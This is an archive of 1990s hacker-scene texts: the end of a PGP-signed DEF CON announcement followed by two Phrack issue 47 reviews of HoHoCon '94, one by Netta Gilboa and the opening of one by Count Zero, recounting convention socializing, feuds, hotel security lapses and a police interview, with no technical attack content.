Winn Schwartau : HERF guns, Van Eck, Information Warfare

Peter Beruk : The role of the SPA, general Q&A.

Padgett Peterson : Anti‑Virus writing, Cleaning up other peoples messes. The Jackal : A basic radio overview with Q&A.

Artimage : Underground spoof and give aways.

Stephen Dunifer : Radio Free Berkeley and pirate media.

Damien Thorn : Random Cell information from the late night tech talks.

SHIRTS are still available to buy. The ones remaining are long sleeve white with the choice of two styles. Both styles have a three color logo on the front (Red, Gray, Black) with "DEF CON". The back is either a list of strange grep key words and "inside" keywords with "Why? Because I can." at the top. Back #2 is the same back as DEF CON I with the old and "new" 4 Amendment as stated by J.P. Barlow with "Protect your rights, Encrypt your data..." at the top. The back on this style is two colors.. black lettering framed in light gray for better definition. Shirts are $20.

SHIPPING : If you buy anything, please include 2.90 for priority shipping.

::::::::::::::::::::::::::::::::::::::::

LAST AND LEAST

OK! Your almost ready to go. Now here is an E‑Z to follow checklist of things you should take care of before throwing caution to the wind and bailing out to the dangerous and sexy‑wrong world of Las Vegas. In the words of one famous (and abused) phone system: "Sit up straight, PAY ATTENTION, Listen to what your being told. (Now try again)" (Whoever can identify that phone system first gets in free)

StUPh 2 D0 b3fore the C0nvent1ion:

_ Check out inpho about Vegas so you know what you wanna do.

_ Get a hotel room or some crash pad.

_ Bring $40 for admission or pay $30 in advance.

_ Bring your PGP key on disk to key sign with others.

_ Bring Laptop, laplink, serial, and bizarre gender changer cables. _ Bring things to donate for the give‑away raffle.

_ Leave massively incriminating evidence at home.

_ Police scanners can provide hours of fun in Vegas.

_ Bring interesting videos to play in the video room.

_ Caffeine and snacks are fun to eat.

_ Don't forget any drugs or medication you may need.

_ You won't need saline for your contact lenses, you won't be sleeping. _ Anything you promised your friends you would bring for them.

_ Join the mailing list and arrange rides or rooms with others in advance.

::::::::::::::::::::::::::::::::::::::::

MY PGP KEY

This is the unsigned version

My signed version is available on the public key‑servers

‑ ‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6.1

mQCNAy6v5H8AAAEEAJ7xUzvdRFMtJW3CLRs2yXL0BC9dBiB6+hAPgBVqSWbHWVIT /5A38LPA4zqeGnGpmZjGev6rPeFEGxDfoV68voLOonRPcea9d/ow0Aq2V5I0nUrl LKU7gi3TgEXvhUmk04hjr8Wpr92cTEx4cIlvAeyGkoirb+cihstEqldGqClNAAUR tCZUaGUgRGFyayBUYW5nZW50IDxkdGFuZ2VudEBkZWZjb24ub3JnPg==

=ngNC

‑ ‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

::::::::::::::::::::::::::::::::::::::::

WHY IS THE ANNOUNCEMENT SIGNED?

Well, last year it came to my attention that some unknown person in California had modified an announcement and was having people mail their pre‑registration money to them instead. It was actually pretty funny. Only one person was fooled and lost 10$. Not bad. I knew something was up when he said he had pre‑registered for 10$ and had the receipt I had supposedly mailed back. I am never that organized! To avoid potential problems like this one please verify this announcement!@# My key is available for verification on public key servers, and my key‑id is 46A8294D. The other key you will find on servers may be my older 1284bit key, which is still good, but just not used to sign this text.

END ANNOUNCEMENT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑BEGIN PGP SIGNATURE‑‑‑‑‑

Version: 2.6.2

iQCzAwUBL4Hv6LGddDV5azd9AQHP2wTrBqZlL222IicVGNAphJTfaj3gDCQMWhfc dXzCy20cAiymx/AmI5R2RpOhe/n2UJE99Ml97YKcVRLTFZNehvPorPbFZXeEURCN QUvS13sEDn/PrxTxgd5pLgBsEx+HCGPvwK3W3BstwWR2srB4oap2SMSwZdLqDFMg +kCCn17guAoHnUtqftvjUX2FOGt1AmVOf+cQM43RjpENUfOsBWg=

=vMBG

‑‑‑‑‑END PGP SIGNATURE‑‑‑‑‑

HoHoCon

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 10 of 22

HoHoCon '94

December 29, 1994 ‑ January 2, 1995 Ramada Inn South, Austin, TX A Review, released to the Net on 1/25/95 By Netta "grayarea" Gilboa

I flew to Austin, TX after spending Christmas with some hacker friends. I arrived a day early, unsure if the Con was gonna come off and how many people would show if it did. HoHoCon had almost been cancelled this year after someone called the original hotel and said a bunch of mean, evil hackers were gonna descend on the hotel and that several federal agencies would be sending feds there to monitor it. If you ask me, some kid's mom said he couldn't go so he decided to try to make sure none of us could either. Lame. It also taught me that everyone in this community has enemies. Maybe someone just doesn't like Drunkfux. Supposedly, right after this phone call the hotel got another, this time from Dateline NBC who wanted permission to film the Con. Rumor had it the hotel panicked and cancelled. The truth is that a regular client of theirs offered to pay higher room rates and the hotel stood to make over $20,000 extra by getting rid of us and having them there instead. So they used the phone calls as an excuse. I can only imagine the hassles Drunkfux went through to find another hotel that was empty on New Year's Eve weekend.

But Drunkfux came through with flying colors and when I got to the hotel they told me other people had started to arrive. They gave me a list of these people to look at, complete with their real names and room numbers. It's possible they would even have xeroxed the list if I had asked them to. Uncool. Even more uncool, almost shocking, was that the hotel had a clipboard on the counter with people's real names, assigned room number and credit card number complete with expiration date. It was listed in alphabetical order and I was on the top page in the third spot. I freaked. I told the woman behind the counter that she must move the clipboard as some of the people coming specialized in attacking people's credit and that I would surely be a target given my position on the list and my all too well‑known real name. She said okay but when I returned my luggage cart, some twenty minutes later, it was still on the counter. I told her again, nastier this time, to move it. An hour later she still had not. I then asked to use a phone and was told there was one in my room and another down the hall. I explained that I wanted to call right from the counter to cancel my credit card and to call the national offices of Ramada Inns to have her fired. In a nasty tone she told me she'd move the clipboard. She did. However, the next day they threw the pages in the trash and, of course, had the clipboard on the counter again with a new list of the people due to check in that day. I argued with them again and they moved it. A few hours later (surprise!) their trash was invaded and they went out and bought two paper shredders. This was a good investment on their part although it's a shame it took us to teach them that. If you intend to stay at a Ramada Inn anywhere in the U.S., I would strongly advise you not to prepay with a credit card. They can't be trusted with your data. We invite readers who may have experienced credit card fraud after staying at Ramada Inns (or other hotels) to contact us. It was a sobering lesson in how vulnerable the average person is in society.

I had plans to hook up with Stormbringer and Holy Spirit, two virus writers I love talking to. Stormbringer had recently retired from virus writing after hearing from someone in Singapore who got infected with one of his non‑malicious viruses. I had read his retirement text file and was anxious to talk to him about it. He assured me on the phone all was well and they agreed to meet me at Mr. Wasabi for sushi and I ate more sushi than I ever had before in one sitting. Then we walked to a coffee house and they drove me back to my hotel around 1 a.m.

I was invited to Novocain and Particle's room so I headed up there and ran into Veggie, Onkel Ditmeyer, Count Zero, Buckaroo, etc. Onkel showed me his way cool laptop and I finally got to see what an IBM demo looks like. These are programs which demonstrate the sound and graphics capabilities of a computer. He copied a few of them on a disk for me along with some electronic magazines I had never seen. Onkel is the author of a well known phreaking program called Bluebeep. We spoke a lot over the weekend and I found him brilliant, honest, charming and not afraid of girls who know way less than him. He was one of the coolest people at HoHoCon this year.

At 6 a.m. a few of us went downstairs for free breakfast and the conversation turned to the various women who hang out on #hack. There was some dissing of one girl who has slept her way around the scene and in the past had given a number of hackers herpes without telling them first. Eeks. I tried to get out of the guys I was eating with what she had that I didn't (besides herpes). I message most of her old lovers on IRC but none has ever made a pass at me. We talked about the other girls on IRC, who has slept with whom, and how they got treated afterwards. We talked about why people might have slept with those particular girls at the time they did and I suddenly felt both very lucky and better about myself that the one hacker I had slept with was a decent choice. Quality might beat quantity. To know for sure, I guess I'd have to ask the girls <wink>.

We picked up a bunch of food that was apparently not included in our free breakfast coupon. The waitress didn't know how to handle it and neither did we. I offered to put the food back and she finally agreed to let us eat it. I suggested they put up a sign to warn others and, of course, they didn't. Later I heard they let us all eat the bacon and other food for the rest of the Con. I never made it back down there again even though for American food it was pretty good. I was pretty tired and so headed off to sleep when we were done chowing down.

I woke up Friday afternoon when Particle and Novocain knocked on the door. They had a car and took me to a Chinese restaurant nearby with a killer buffet. When we got back there were many people in the lobby listening to a tape of prank phone calls made by Phone Losers of America. I wanted the tape bad as it seemed highly appropriate for us to review. I was promised a copy which materialized in under an hour. W0rd! For all the shit I take for it, there are advantages to being press.

I felt pretty comfortable with all of the people I was talking to and since my room was very close to the lobby I invited everyone there and even left the door open for others to enter my room (which almost everyone who passed by did). It was kind of odd where they had situated me. You could watch my door from the counter where people checked in. I had asked for a smoking room but got dealt non‑smoking instead. I inquired about changing it and was told some crap about all the rooms being accounted for already. It crossed my mind at the time that maybe some feds had purposely put me there but I discounted my gut feeling and remembered most hackers thought I was too paranoid about things. I told people to go ahead and smoke in my room with no ashtray. They did. All told about 15 people were in there and one of them pulled out a toy to show me. It was a box that hooked up to your telephone which allowed you to change your voice into that of a male, female or child. I had seen these boxes before in catalogs. They sure work great! I made two calls with it, one to a friend and one to my ex‑husband. I snickered at how surprised they'd be when they heard my message and later regretted not telling either or them to save it so I could hear it back. Honestly, playing with this legal box was every bit as cool as great drugs or sex. I vowed to buy one. Watch out!

Talk turned to dinner and people started to leave my room. Particle was the last one out and he showed me something about how the hotel room locks worked. Hackers spend hours trying to figure out how things work and although I had little interest in the subject it was clear Particle was struck by the technology and not the idea of breaking into someone's room. I started to organize people who were willing to eat sushi. Just as we were about to leave Particle and Novocain were gathering everyone into a room to tell people to chill their behavior. It later turned out that Particle had played with another lock after I made him stop touching mine. He had the misfortune to be seen by a member of the Austin Police Department who wisely agreed not to arrest him in exchange for Particle's agreeing to talk to people in an attempt to curtail the usual HoHoCon hotel destruction. I should have attended this talk although I had no idea at the time why it was being organized. But I was starving and the people I took to eat sushi were not those who would consider trashing a hotel. Laughing Gas, Thumper27, Slyme, El_Jefe and I checked out Kyoto sushi which was good but expensive for what you got. I spent part of dinner wiping the free space on the hard drive on my laptop. I had never used this feature before, but had been told about it at the con and it sounded like something I should start doing regularly to protect other people's privacy so that erased E‑mail and articles were truly erased. It was a good thing I had sushi to eat to keep me busy as it took a good twenty minutes to do on a Pentium laptop with a 500+ meg hard drive.

When we got back to the hotel I ran into Drunkfux who had cut his hair and dyed it bright red. I hardly recognized him but it looked great. It was clear by the police presence in the lobby that the Con had officially started. We were told that signs hung on room doors (I had put up a copy of one of the magazine covers with a small piece of scotch tape) would be taken down. This made it much harder for us to find each other (I'd estimate we had 90% of the hotel's rooms) but so it goes. Some people were told specifically that they could not use their modems and for hours on Friday night the phone lines were so busy with modem usage that there was no way to make an outgoing call or to receive an expected incoming one. All sorts of security guards appeared. The ones I spoke with were police officers too. I'd guess there were 1‑3 dozen around at all times and apparently hotel personnel were told they were all on duty until we left and none of them were able to go home for the rest of the weekend. I wish I could say this was utterly unwarranted. But some lamer broke the lock on the door to the hotel's phone system. And remember that another person had trashed the hotel's garbage and must have made a mess or been spotted.

The hot party that night was in Erik Bloodaxe's room. Loki, Ice‑9 and Ophie were staying with him and Loki was in charge of the door. He made sure to keep me out just as he does when he acts like a bully on IRC. I knew in my heart it was Loki's doing not ErikB's, but that didn't stop me from getting majorly upset about it anyway. I went downstairs to be alone and Particle knocked on the door a few minutes later. I gave him a piece of my mind and then some about how shitty some of those in the computer underground are. I went on for at least an hour and drew great comfort from the fact Particle thought I was not crazy and that things are as awful as they seem sometimes. Finally he told me that since I kept claiming to love hackers despite all of the grief, there were dozens of nice ones out there who would be thrilled to talk to me if I'd only leave my room and go try to have a good time. W0rd. I took his advice and had a good time in the lobby with the other rejects from Bloodaxe's party. The conversation was so good it was hard to tear away to go to sleep. I went to my room at 4:30 a.m., got under the covers, thought about sleep for 10 seconds. Then I pulled out my laptop and wrote a speech to deliver to the crowd the next day.

The two people I had counted on to wake me up didn't show and it was a stroke of luck that made me jump up at 9:45. The speeches were supposed to start at 10 a.m. and even though they surely wouldn't start till later I was selling magazines and was due there pronto to claim my table. It took a luggage cart to get all those magazines downstairs. I shudder to think what my life will be like when I have 30 issues to lug around instead of six. The folks from Fringeware were selling books and T‑shirts and someone else had old Atari game units and cartridges. People came by to say hi and to buy magazines. I plugged my speech and told people not to dare miss it.

It was impressive that Drunkfux had gotten so many original speakers on such short notice. They mostly said what the crowd wanted to hear and shared thoughts on digital cash, the regulation of the Internet, recent laws, etc. Damien Thorn showed a video clip to the tune of the current rock hit "21st Century Digital Boy" which had cellular phones, scanners, etc. in it. It's part of an upcoming video that looked awesome. Veggie talked about dealing with the media after an old text file of his was used to harass a BBS sysop who got more than twice Phiber's jail sentence just for having a file around.

Someone sent Erik Bloodaxe to talk to me as part of my speech referred to him. It was an uncomfortable talk and I was probably correct in feeling that half the room was watching us and not whoever was speaking. I told him he could pay me back in print or elsewhere but that I was going to go ahead with what I planned to say and he surprised me by saying that what I had written was fine and he even added to it. He also told me that Loki had gotten too drunk and had been a pain in the ass to room with the night before. He assured me that although way too many people had been in his room, and way too many had tried to get in after it was full, it had not been his intention to keep me out. I felt bad that I even cared, and that he knew I cared, and that he and I even had to discuss it. I was unhappy that he had no intention of staying to hear my speech or the fight with Loki that he knew was coming but didn't mention to me. We left things with the fact that we'd go out for dinner or something the next night with Ophie (who also had an early flight) after the bulk of the Con was over. It occurred to me then it would never happen because plans are hard to keep at Cons but I mentioned it in my speech anyway.

My speech went over very well. It was about what's been going on at Gray Areas since I spoke at HoHoCon last year. It was also about the behavior of certain elements of the community and how that behavior has affected me. And it was a stern warning about some busts that are coming down. I know a few people got the message. I could tell from the gasps and laughter at key points. But perhaps the highlight of the speech was the confrontation between Loki and I when he chose to bully me before anyone else could ask a question. I answered his accusations and managed to do a decent job even with no warning. Whatever he hoped to accomplish clearly wasn't working and from somewhere deep inside of me I found the courage to ask the entire room to vote on whether or not they really never wanted to see me on #hack again. The only vote opposed in a room of about 250‑300 people was Loki's. Hours later I regretted not thinking to ask how many people never wanted to see Loki there again. Four people had come up to me and told me they would have voted him out. Loki left the room with his tail between his legs and ran to IRC. By the time I got on hours later word had spread a story that I picked a fight with him and he had won. The proof is in the videotape which will be available soon from Drunkfux. It's highly recommended for both friends and foes of mine. Drunkfux said demand for this portion of his footage was very high. I promised to give him better footage and an even better speech next year.

Later Count Zero wrote this about my speech in Cult of the Dead Cow: "Grayarea gets up and begins to read off a pre‑prepared speech on her laptop. Her speech is too quick for my alcohol‑byproduct‑sodden synapses to register accurately. I keep staring at her dress...bright tie‑dye... mesmerizing...it's actually quite cool. Suddenly, Loki gets up in the audience and the accusations fly back and forth between them. You kicked me off IRC. You called my office at work. You are doing this, you are doing that. Both are getting into this verbal slugfest in a major way. I feel the bad karma in the room hanging heavy like blue‑green cigar smoke. "Can't we all just get along??" I yell, but no one seems to hear me. I don't know who is right or wrong (it's probably somewhere in between...the truth's always gray, right?), so I don't hypothesize. All I do know is that I'd never want to piss off Grayarea...she's damn strong on her convictions and won't take shit from anyone. I think she'd look better up there wearing a big ol' leather jacket with studs...terminator style. "One tends to assume that people wearing tie‑dye gear are quiet, meek, very soft spoken, non‑confrontational types....it is a camouflage that suits her well," I think. Bahaha! I liked your comments, Count Zero. And I did hear you yell that.

After the speeches I sold more magazines thanks to Loki who inadvertently made way more people interested in me. Bahahaha! Some of them said they liked or loved my dress, some of them hugged me and some of them signed up for subscriptions and gave me their data. I then headed off for dinner at yet another sushi restaurant. Laughing Gas and Slyme came again along with Mr. Spock who agreed to lose his sushi virginity to me and jokingly said that way he'd get mentioned in my review. I thought he was one of the three kewlest people I hung out with at the Con. I hope I get to spend more time with him at a Con in the future and I'd even be willing to go try his favorite type of food! The sushi place we picked was awesome. I was sorry I hadn't found it sooner. It's almost too bad HoHoCon will be in another city next year. I also wanna mention the elite, Jak_Flack, who drove us to the restaurant when cabs were scarce on New Year's Eve. He didn't want any sushi or any money. He even got lucky and gave a ride to people who probably would have done the same thing for him under the same circumstances. Thanks.

After dinner I did what Drunkfux begged us not to do. I spent New Year's Eve on IRC. I messaged Mr. Spock, in fact, who was typing from the other side of the room. I also messaged some hackers I talk to all the time. Some were lonely and glad to see me. I thought a lot about loneliness. Some of us prefer to be with computers than people. Some of us can open up more easily to people on a computer. And some of us need computers around even when we're with other people. I was typing from an account at hohocon.org and there were several people in the room having fun with their "site" as X and Y tried repeatedly (and succeeded) to get root there. I had never seen root before from the position of the person protecting it. I should have paid way more attention but I got too caught up in having conversations. I should also have paid more attention to the people in the room with me. Loq and Fool were there and they seemed really kewl but I got too lost in IRC. Oh well, at least I wasn't hopelessly drunk. And I wasn't kicked or banned once. People were delicate with each other on IRC. They were often drunk, vulnerable and more likely to reveal things when conversing. Those who were on were more than willing to talk to anyone who showed up. People apparently intend to make public the hohocon.org logs. If they include IRC chats it would be very shallow. I will never again take the chance and IRC from a Con again. Although I have mostly come to terms with the fact that I am a semi‑public figure and people will always want to see whatever I type on the Net, but it's not fair to expose the words of the people I messaged.

I dragged myself off IRC about 4:30 a.m. and went downstairs to clean off one of the beds. Novocain and Particle had checked out of their room and were gonna stay in my room for one night. I was thrilled at the idea of having company. But when the bed was empty it looked tempting and I lay down for the 90 minutes till I was due to meet them at the breakfast buffet. Next thing I knew it was Sunday afternoon. Oops! I wondered where they had slept. Apparently they hadn't wanted to wake me so they slept in another room. I felt bad but at least their stuff had been safe which is all you really care about at a Con. SORRY! Next time, guys, wake me.

I stumbled into the lobby and joined the conversations that were going on. A hotel employee asked if we'd mind moving to the conference room and we agreed. We figured the room was bugged just as the hotel phone lines had been. But we weren't talking about anything secret and a few of the hackers answered all of the questions asked by the cop/security guard who hung out for about half of the time we were in there. It was a very fun time there on the floor chatting with Voyager, Ophie, Onkel Ditmeyer, lgas, Deadkat, Drunkfux, etc. There were way more people but I'm drawing a blank on specifically who. I went upstairs to get more magazines and ran into Bruce Sterling. He was growing facial hair and looked great. He said he felt lousy which shows what I know. I hugged him before he said he felt lousy. We talked about the book he is working on. Then Ophie and I went off to be interviewed about female hackers and the treatment of women by hackers. It could have used Cori and Noelle but it made some good points. We came downstairs and I saw Drunkfux at work videotaping an interview with the guys from TNO in Colorado. This was priceless footage of them discussing how a group decides policies and handles politics and how they have applied political thought to hacking. I was sorry I had missed half of it and sorry I had spent so much time socializing with them that it had never occurred to me I didn't know much about their group and I should have interviewed them too. I hope Drunkfux includes every word of their interview in the video.

Ophie brought up the idea of photos and so I grabbed my camera. Everyone there got into it and I got a whole roll of film of people hugging and kissing me, looking at porn mags with Ophie and generally playing around somehow. They came out great. If you want yours passed around or published, let me know. Until then, they're private.

Slyme and I headed back to Mr. Wasabi for dinner but to our surprise it was closed! New Year's day turned out to be a bad day to try to find places open to serve food. We should have stayed at the hotel. We finally ended up in a bar which served food, ordered hot chocolate and consoled ourselves on the lack of sushi. Back at the hotel a bunch of us went room hopping and tried to determine who was left. My flight was at 7 a.m. and I had no intention of going to sleep and taking a chance I would miss it. Several people had flights at 8 and 10 a.m. Others were staying on for 3 more days to get better airfare rates. I heard ErikB had left with Ophie and he told me later they had asked the hotel and had been told I checked out. One room we ended up in had a console copier running. I had heard about them but never seen one and was told it was okay if I photographed it. I went downstairs for my camera.

I hadn't been alone once since arriving in Austin. While this wasn't always planned, the thought did occur to me that my room might be watched and that law enforcement might be interested in any of the many people I was seen talking to. I had mentioned a controversial interview we had coming up with ILF and although I thought I was being overly paranoid, I was still nervous I would be questioned about it. But it was 12:30 a.m. or so and I felt too silly asking for someone to run downstairs with me. So I went alone. But as I was closing the door and checking it was locked I saw someone head down the hall towards me and I knew instantly something was about to be up. Hackers are right when they say you can't fully understand this until you have lived it. He asked if I was Netta and I said yes and then he reached towards his pocket. I knew he was going for either a gun or a badge and there was nothing I could do about either. It turned out to be a badge and as he got close enough so that I could see it read "Austin Police Department" I thought to myself "Kewl, it's not the Secret Service." He asked me to accompany him to a room and, holding my camera, I did. He told the two "security guards" that we'd be leaving the door open. I had asked whether he was the guy who had called me last March and he said no that he was his partner. I wondered whether I was under investigation or whether they had no one else to ask for information or whether they just wanted to meet me after talking to me voice. It didn't occur to me to ask. I thought several times about the fact I was supposed to be out with Bloodaxe and Ophie and that if I had made it a point to leave with them this wouldn't be happening. I wondered who else APD had questioned who had not told anyone. I wondered if they had even questioned someone about me. I also feared people would come looking for me and see me in that room and think I was talking to the police voluntarily. That I had sought them out. God forbid they should think I was telling the police about the console copier.

The whole thing only took about 8 minutes and the officer asked me nothing I had a problem answering. He treated me with respect and didn't press me to say anything I wasn't comfortable saying. I offered to give him some of my magazines at the end of the conversation and he walked me to my room and was clearly planning to wait outside. I invited him in and he watched me pull issues from three suitcases. It was apparent nothing illegal had gone on in my room. I'd lay odds it was the cleanest room there too. The day before, for example, my trash in the bathroom had been dumped at least three times. None were by me or when I was in the room. The only thing I couldn't answer, and it was simply from nerves, was what I had done on New Year's Eve. The answer came out that I didn't remember and since I stammered it, it must have looked like I had seen or done something I shouldn't have. But all I did was IRC and eat sushi and I do that so often I didn't even remember when asked. New Year's Eve had been almost like any other night.

Anyway, I got the console copier photo (hint: I could use a detailed article on how they work to run with it). We then moved on to other rooms and I ran into Drunkfux and Damien Thorn. I did a long video interview with Drunkfux, who would have made an excellent journalist. He resisted the idea of asking me petty questions about who I like and don't like in the scene and who I'd sleep with if I could. I would have answered anything he asked in the spirit of the HoHoCon video tradition, but instead we got into more serious issues and people who think Drunkfux is shallow or a less‑than‑serious dude due to his IRC reputation will be most surprised.

Then Damien did an equally long interview and Drunkfux got eleet footage of me closing my eyes when the talk got too technical. I did almost pass out as it was 3 a.m. or so and I felt really comfortable being with them but I snapped to attention just in the nick of time as Drunkfux had the camera aimed on me and Damien was making a joke. Damien took it in stride but I think it was the first time anyone had ever had the chance to listen to his most eleet technical tips and was bored. I hope he knows I love him, like most hackers, for the person he is and not for the skills or trophies he has. I was transfixed as he told Drunkfux his beginnings in the computer underground and his views on laws, ethics, writing, etc. I just don't lust to know what model of phones he respects most or what gadget he's tested last. Luckily for you, Drunkfux did the interview, not me, and he did ask lots on that sort of stuff. After they were done Damien and I went out to some fast food burger joint. It was dirt cheap and tasted like cardboard. We had a great chat, as usual, and then went to the airport with Slyme who had slept the night away and missed everything. My flight was first and they walked me to the gate and made a fuss over me and it was the perfect ending.

I can't believe I now have to wait till June (and go to Georgia, of all places) to see some of you again. Oh well. In the meantime, happy Valentine's Day to you and whoever you netsex and/or fantasize about. Happy April Fool's Day in advance too. Just prank someone else this year, okay? <grin>.

(Sample issues of Gray Areas are $7.00 each (U.S.) and $10.00 each (foreign) from: Gray Areas, Inc. P.O. Box 808, Broomall, PA 19008. E‑mail addresses are: grayarea@well.sf.ca.us or grayarea@netaxs.com or grayarea@mindvox.phantom.com. PGP key is below. Use it.)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3 mQCNAi76UiwAAAEEALgwLwtyFrBlzHkfUlc5NIwLrIfbng5OJIG1Qlp1JN5UUaSR EMAu8gDqwOzXVS2TLYqbz5AHYw7zBTuVneYpMH6THv4iYN9iyXMu1LUby54HLbyP vZb61BnF9s4oyyZitGJ8F/IKnqGX5+jE3/6WvcJ0HxDJPL5jEA2uwNFX4WuNAAUR tBZncmF5YXJlYUB3ZWxsLnNmLmNhLnVz

=rXPN

HoHoCon

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 11 of 22

Yep, grab hold of yer brainstem cuz here comes another mind‑numbing, alcohol‑soaked, synapse‑shakin', reality‑bending review of HOHOCON!!

>>HOHOCON 1994...The Insanity Continues<<

Direct from the keyboard of Count "Funk‑Master of L0\/3 and Mayhem" Zero *cDc*.

(what follows is my subjective, semi‑truthful, self‑centered, quasi‑chronological tour of HoHo '94...if you're not mentioned in it, then you obviously didn't buy me a drink)

"It starts"..

12.29.94, Thursday

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Logan Airport, Boston, Massachusetts

6:29 AM

Our flight leaves in one hour. Decided to pull an all‑niter from the day before. Rather than beating my body out of REM sleep at this unholy hour, I opt for the familiar slow death of sleep deprivation. No matter. The tablets of ephedrine pulled me through, and now I sit in an airport restaurant smoking Camels and waiting for something to happen.

As usual, it does.

Deth Veggie, Iskra, and Basil arrive, ready for action...we board the plane and jump into the sky. "I like this airline...Delta....it's not just an airline, it's a Greek letter, a symbol of change..." I remark.

"Uh, yeah," comments Veggie. "I wonder if we'll finally discover the Meaning of Life at this con." He strains his massive legs against the seat in front of him, weak airline plastic buckling under the force.

"Fuck metaphysics..." I say, flipping through a wad of cash in my pocket. "I'll tell you, Veggie...the cDc T‑shirts you made are fabulous. You will surely make heaps of $$$. *That's* the most important thing!"

Veggie grins widely. We give each other the sekrit cDc handshake and rub our silver cow‑skull talismans.

Always temper metaphysics with materialism.

Arrival, Thursday afternoon

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We belly‑down in Austin, and grab a cab to the wonderful Ramada. Outside, there is a major highway under construction. Huge vehicles of construction and destruction mull over piles of dirt and concrete. Signs of human life are minimal.

"The Ramada at the End of the Universe...Drunkfux always chooses such scenic locations" I note. "We can witness the creation of a mass transit system *and* celebrate our hacker brotherhood simultaneously." The entire landscape appears desolate and hostile to organic life. Nervously biting my lip, I immediately spot a Dunkin Donuts over the horizon..as does Basil. We both have keen survival instincts.

The nearby location of the 24‑hr House of Caffeine and Baked Goods marked in our minds, we enter the hotel.

"The room is $70 a nite," the woman behind the front desk offers. "We're with the HoHoCon," says Veggie. "Don't we get special rates?" "Heh.. HoHoCon...yes, that means our rooms must cost twice as much," I joke. The woman behind the front desk looks blankly at me...unaware. "Like a deer in the headlights, " I tell Veggie as we collect our keys and walk to our room. "And soon, Bambi will be eating a chrome grille..."

A "Suite of the El33tE" sign is hastily drawn up and hung outside our door. Veggie unpacks his 17‑lb solid concrete Mr. T head and places it on a table. The concrete bust's rough base immediately gouges deep scratches in it with a low grating noise.... "The 'T' approves," says Veggie. I have no reason to doubt him, so I remain silent in awe.

We find that Joe630 and Novocain are also here early...they invite us into their room to read a large sample of 'alternative zines.' The eclectic magazines are fascinating, and I promptly spill a glass of water on their couch to show my appreciation. "Uh, just don't trash the place, " Novocain tells me. "Of course not," I reply. "I'm just in a high entropy state right now..." I immediately spill my ashtray to prove it. (It always helps to follow up thermodynamic theory with physical proof...I am a true Scientist.)

At some point, we flee after Joe630 demands "hugs" from us...something he continues throughout the conference. "Grrrrr...touch me not, boy...I will not submit to your fondling," I tell him behind clenched teeth as I back out of the room. "I'll only hug a man if he's buying me drinks or I'm trying to lift his wallet..."

Later that night, we hook up with Ixom and Nicko...we invite them into our room for drinks and a philosophical discussion. Ixom's new beard, long and flowing red like the fire of a Duraflame log, mesmerizes me. I proceed to take notes on our conversation as Ixom and Nic begin to debate. Soon, I begin to suspect they have been drinking a bit beforehand.

"I like these lights when they're off."

"Are we in the Information Age?"

"Dude, shut up."

(Nic, to me) "Dude, I like your poetry, but just shut up."

"She was like 14, 15, you know, 11, 12..."

"He's always in the bathroom...y'know, he has rabies...diabetes?.... you know."

"I don't need Valium, I'm down on life...." ‑Veggie

"Heady stuff," I think, jotting notes furiously. Nic begins a photo shoot of the Mr. T bust, and we are all fascinated at his skills in capturing the inanimate object's true nature. "His true calling is film," I think as Nic rolls painfully on the floor to capture Mr. T's pout from a novel angle. "I must see these prints.." Nic promises to give us copies, as soon as he figures out how to remove the exposed film from the camera. I suddenly feel the need to drink more.

Friday

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We awake and plan to head into Austin. Basil finds an ad for a store in town called "The Corner Shoppe." "They will give us a free pair of sunglasses with this coupon!" she exclaims.

"They will give us sunglasses, and much much more..oh yes..." I think.

Rodney, our journalist companion from Canada, joins us in our trek to the city. 'The Corner Shoppe' turns out to be a small shack‑like store...with a large tent structure in front. Animal skulls, exotic hides, trophy mounts, blankets, arrowheads, Indian mandellas, silver jewelry, rugs, pottery, and plaster sculptures abound... We wander over to the tent and begin to browse. "Look, they have plaster busts of Elvis and Beethoven on the same shelf," Basil remarks. "This is truly a Store of Symmetry," I reply, as I run my fingers over a large, bleached cow skull. The papery‑smooth bone is cool and dry on my hands, and I wonder about the fate of the rest of the mighty beast. I imagine the live cow roaming fields, chewing cud, powerful flanks driving it up and down verdant hills of grass. A skull is more than an object, it is a link to the once‑living creature... "To this favor, she must come" I mumble to myself, lost in introspection. "What?" asks Veggie? "Nothing," I reply, shaking the thoughts from my mind. "Let us go inside and secure the sunglasses." Never forget one's true purpose.

All the native creatures of Texas are inside the store...albeit, dead. Stuffed, desiccated, mounted...and all available for purchase. "Do you have a scorpion mounted in a bolo?" I ask the proprietor. "No, well, we did, but you know, Christmas...we were cleaned out," she sullenly replies. "No problem," I grin back at her. "I am disappointed, but not dejected. You have a fine establishment here." She smiles back and begins to show me an assortment of desiccated rattlesnakes. "Of all creatures, reptiles remain the most lifelike in death," I affirm. She smiles nervously and points me towards the stuffed frogs. "Silly woman, these are mere amphibians," I think to myself, but I follow her anyway.

Veggie offers the other employee a sacred cDc silver cow skull talisman as a gift. "Say, this is nice..never seen anything like it....I rope steer, and was going to put a silver cross on my baseball cap...but I think I'll put this on it instead," he says excitedly. "Zero, this *proves* that cDc is more popular than God!" Veggie whispers to me in private. "Undoubtedly," I respond. We bask in the moment.

Iskra finds an elephant skull lurking on a cabinet. We are amazed at the cranial capacity. I purchase a fine cow skull (complete with hanging hook). After a few hours, Basil finally selects a pair of sunglasses (free) and we begin to walk aimlessly around the fringes of the city. Entering a Salvation Army store, Rodney begins to film us as we pick through the remnants of other people's lives... "Are you guys in a rock band?" another customer asks me. "Yes, I play Extended Keyboards," I answer back, my attention lost in a milk crate full of used '80s cassette tapes. Memories for sale...wholesale... We buy some plastic guns and leave.

